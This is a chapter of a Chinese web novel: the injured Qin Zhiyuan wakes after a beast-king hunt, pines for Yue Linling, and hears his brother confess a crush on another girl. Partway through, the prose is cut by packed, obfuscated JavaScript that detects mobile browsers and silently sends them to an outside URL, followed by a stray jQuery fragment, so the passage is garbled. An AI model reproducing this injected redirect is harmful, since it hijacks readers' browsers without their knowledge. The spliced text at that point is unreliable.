秦知远的意识浑浑噩噩在混沌的梦境里沉浮,难以挣脱。梦境里,他像是被凶兽的利爪攥住了四肢,怎么挣都挣不开。
伤处的痛感穿透现实,眼前是翻涌的黑雾,耳边全是兽王的嘶吼,那声音震得他头疼欲裂。
恍惚间,他看到了周易成和岳琳灵,他们被强征着去了莽林,被无数凶兽围困裹挟着远去,呼喊声越来越远,一群又一群的凶兽奔跑过去。
他也想冲过去,可双腿却像灌了铅,一步也迈不开了,他急得想嘶吼大喊,却发不出任何声音。
梦里的场景又一换,他又看见了周易南和岳琳灵,他们双双倒在血泊里,紧握着双手,圆睁着双眼,他们告诉他,他们快要死了,要下去做一对鬼夫妻。
秦知远吓得头皮发麻,身子一震,猛的从噩梦中惊醒。里衣被汗水浸湿,密密麻麻的痛感从身体各处传来,痛得他不由得呻吟出声。
秦知远皱眉闭眼缓了半晌,才慢慢睁眼看向四周。屋里布置很熟悉,是他在磐石城小院的卧房。
此刻屋里静悄悄的,并没有人在。秦知远胸口起伏着,撑着榻沿想坐起身,可浑身疼痛,绵软无力。他咬着牙试了两次,手臂抖得厉害,终究还是没能坐起身子,只能喘着粗气撑着瘫在那,额角沁出细密的冷汗。
就在这时,“吱呀”一声轻响,木门被人推开。脚步声传来,一道身影绕过屏风,走至榻前。
秦知远抬眼望去,正是周端,他手里还端着托盘,里面放着纱布与伤药。
他见秦知远睁着眼睛,不由得愣了一下,赶紧放下托盘,快步上前伸手扶住秦知远的肩,轻轻将他按回榻上躺好。
“你怎么醒得这么快?大夫说你伤得极重,至少得三日才能醒转过来。”语气中还带着几分惊讶。
秦知远喉间干涩,哑着嗓子虚弱地问道:“七……七叔……我睡了多久?”
周端叹了口气,转身为秦知远倒了一杯温水,轻拖起他的头,将水递至他唇边,喂他喝下。
又取来帕子拭了拭他额角冷汗,才沉声道:“不过四五个时辰罢了,你需得好好躺着休息。此番猎杀兽王,你功不可没,只是你伤的太重……哎……”他话说到一半,看着秦知远苍白的脸色,终究是欲言又止,眼中的忧虑浓得化不开。
秦知远将温水缓缓咽下,感觉喉咙舒服了不少。他没在意周端说了什么,只是有些急切地喘息着问道:“灵儿呢……她怎么样了?她头上的伤有没有大碍?”
“安心,大夫给灵儿看过了,并无大碍。”周端安抚道。
秦知远点点头,又看向周端身后,“怎么不见阿成……他怎么样?”秦知远知道,以周易成的性子,得知自己受伤,不可能不来看望,除非他被事情绊住了脚。
“他也受了些伤,还在自己屋里休养呢。”周端据实答道。
秦知远一惊,那得伤成什么样,都过了几日了还不能下床。他挣扎着想要起身,“他伤得很重吗……我得去看看他。”他气力虚弱,说话都喘着气音。
周端赶忙按住他,“你别着急,别着急!他伤得不重,就是伤在了腿上,不便下床罢了。而且灵儿正在那边照顾他呢,不会有事的,你放心吧。”
秦知远闻言动作顿了顿,愣怔了一下。他顺着周端的力道又躺了回去,眼中闪着几分说不清道不明的落寞。
周端见他这般模样,才惊觉自己失言,连忙干咳一声岔开话题:“此番斩杀兽王,易南你功劳甚大。昨日徐妄大长老和陆家家主都来看望你了,留下了不少名贵药材。此行你可为我们周家扬名九州了……”他看着秦知远面容惨败,紧闭着双眼,似在忍耐着什么,突然有些说不下去了,他不知怎么劝慰,干脆道:“易南,我去把灵儿叫过来吧。”
秦知远睁开眼睛,虚弱道:“七叔,不必了……我也有些累了,想睡一会儿了。”
他眉头紧皱,显然难受得厉害。周端应了一声,一转身却看到带来的托盘,才想起来此行的目的。他又转回道:“易南,你再坚持一下,我帮你把药换了吧。”
秦知远无力的点点头,任周端扶起他,为他拆开绷带,上药,再重新包扎。
后背的伤口痛得他身体微颤,额头上细密的汗珠冒了一层又一层,他紧咬着嘴唇不吭一声,喉间又有血腥味弥漫开来。
周端心疼的把动作放得很轻,换好药,给他拭去汗水,又帮他换了一身干燥整洁的里衣,才慢慢扶他躺好。
见秦知远已然昏沉欲睡,他便轻手轻脚的收拾东西,悄悄离开。
秦知远闭着眼睛躺着榻上,身上的伤痛剧烈,却也抵不过心中的苦楚。那几日的相守相依,仿佛只是一场梦,梦醒了,便什么都不在了。
他知道自己不该有这样的想法,不该对岳琳灵生出其他的念头,可是他还是忍不住想要得到岳琳灵更多的目光,更多的心疼。
意识渐渐模糊,伤口的痛感也变得迟钝,没过多久,秦知远便又沉沉昏了过去。
………………
自莽林归来已半月有余,秦知远身上的外伤已经结痂愈合,但内腑经脉的伤势依旧沉重不见好转。
他闭眼休息时,听见大夫与周端悄声叹息自己根基已毁,再难有寸进。
这个消息对于任何习武之人来说,都是一个极为沉重的打击,秦知远难免有几分消沉,再加之与岳琳灵的感情纠葛,更令他颓丧。
这些日子以来,岳琳灵也时常来看望他,可对他的态度既不像在周家时那样刻意针对冷待,也不如在莽林中那种温柔细心,有的只是客气的问候与疏离的关切。
秦知远看过他的任务面板,岳琳灵的悔恨值已达到54%,她对他虽心怀愧疚,但最终依然会坚定的选择周易成。
阿成虽然单纯木讷,但总有一天会开窍。若到时他对灵儿也有情意,那他们才称得上是天造地设的一对爱侣。
也许原主本就不该介入到他们中间,自己也无需再纠结为难了。
可这个念头依旧会让秦知远的心底滋长出无尽的酸楚与不甘,这种情绪是理智也无法消磨一星半点的。
秦知远不想沉溺在这种苦涩低落的情绪中,他便差人找来些闲书,在身体不那么难受的时候翻开来看看,好打发些无聊的时间。
这日秦知远正倚在榻上,捧着一本医书看得入神,忽听房门被轻轻敲响。
“哥,你
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17182778|196969||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
醒着吗?”是周易成的声音,悄悄的,怕扰了他休息。
“进来吧。”秦知远放下书。
前几日周端已带领周家大队子弟启程返回益州周家了,只留下周易成和岳琳灵,以及几名护卫留守。
周易成推门而入,高大的身形显得有些局促。
一旬前他就能尝试下地行走了,这几日走路已经利索了不少,只是现下还有点跛。
周易成一瘸一拐地来到床边坐下,眼神有些飘忽。
秦知远看着他的腿,问道:“你腿伤怎么样了,现在还疼吗?”
周易成讷讷道:“不疼了,只是还有点没劲儿,所以走路时看着还瘸。”
秦知远点点头,有看向周易成,见他犹犹豫豫欲言又止的模样,有点奇怪,便又问他:“你这是怎么了?”
周易成又支吾了一会儿,才像是下定决心般开口:“大哥……那个……是我有件事想问问你……”
“问什么?”秦知远看向他。
“就是……就是怎么追求姑娘啊?”周易成憋红了脸,终于把话说了出来,眼神里充满了期待与羞涩。
“……”秦知远一时语塞,心头又有些发酸。易成这般情态,莫非是终于开窍,那位姑娘是谁呢,会是灵儿吗?
他尽力将那些复杂的情绪赶走,看着自家弟弟那纯然求知的脸,忍不住咳嗽了两声,牵动了内腑的伤,痛得他直皱眉,“你……你来问我?咳咳……你看你大哥我像是成功追到了姑娘的样子吗?”他语气中带着沉沉的无奈与自嘲。
周易成这才反应过来,有些不好意思的说:“哦哦……灵儿还没同意你们的婚事啊……”他顿了顿,又自言自语般说道:“可是除了你,我也不知道该问谁了。爹又不在这,而且就算在这也没用,他只会板着脸说‘大丈夫何患无妻’。”
秦知远叹了口气:“是哪家的姑娘,让我们周家二公子这般魂牵梦萦的?”
“是……是叶家的姑娘,叶暖晴。”周易成提到这个名字,眼睛都亮了几分,“就是之前在城墙外杀凶兽时,那个使双刀,脾气有点……呃,有点烈的那个。”
叶暖晴?秦知远也不知该不该松一口气,他对这个叶姑娘有些印象。
那姑娘是叶家旁支子弟,她容颜清丽,冷若冰霜,仿若一只高岭之花,令人难以接近。
可与她冷漠外表反差极大的是她那火爆的脾气,一言不合就拔刀相向。也正是这一点,让秦知远对这个姑娘记忆深刻。
自家弟弟这块实心木头,竟对这位个性特别的姑娘动了心?
哎,情之一字,本就毫无道理可言。“叶姑娘……看着不太好接近。”他委婉地提醒。
“我知道,”周易成却信心满满,“但她武功好,心地也好!上次在城头,我看见她为了救一个小孩,独自引开了一头巨尾狼!哥,你是没看见她那时的样子,又飒爽又勇毅!”他眼中的光彩连连,“还有还有,有一次她……”
周易成滔滔不绝地开始讲起叶暖晴的英勇事迹,秦知远心中却百味杂陈。
既为弟弟找到心仪之人感到欣慰,又不由得替岳琳灵感到难过。若琳灵得知易成的心思……哎。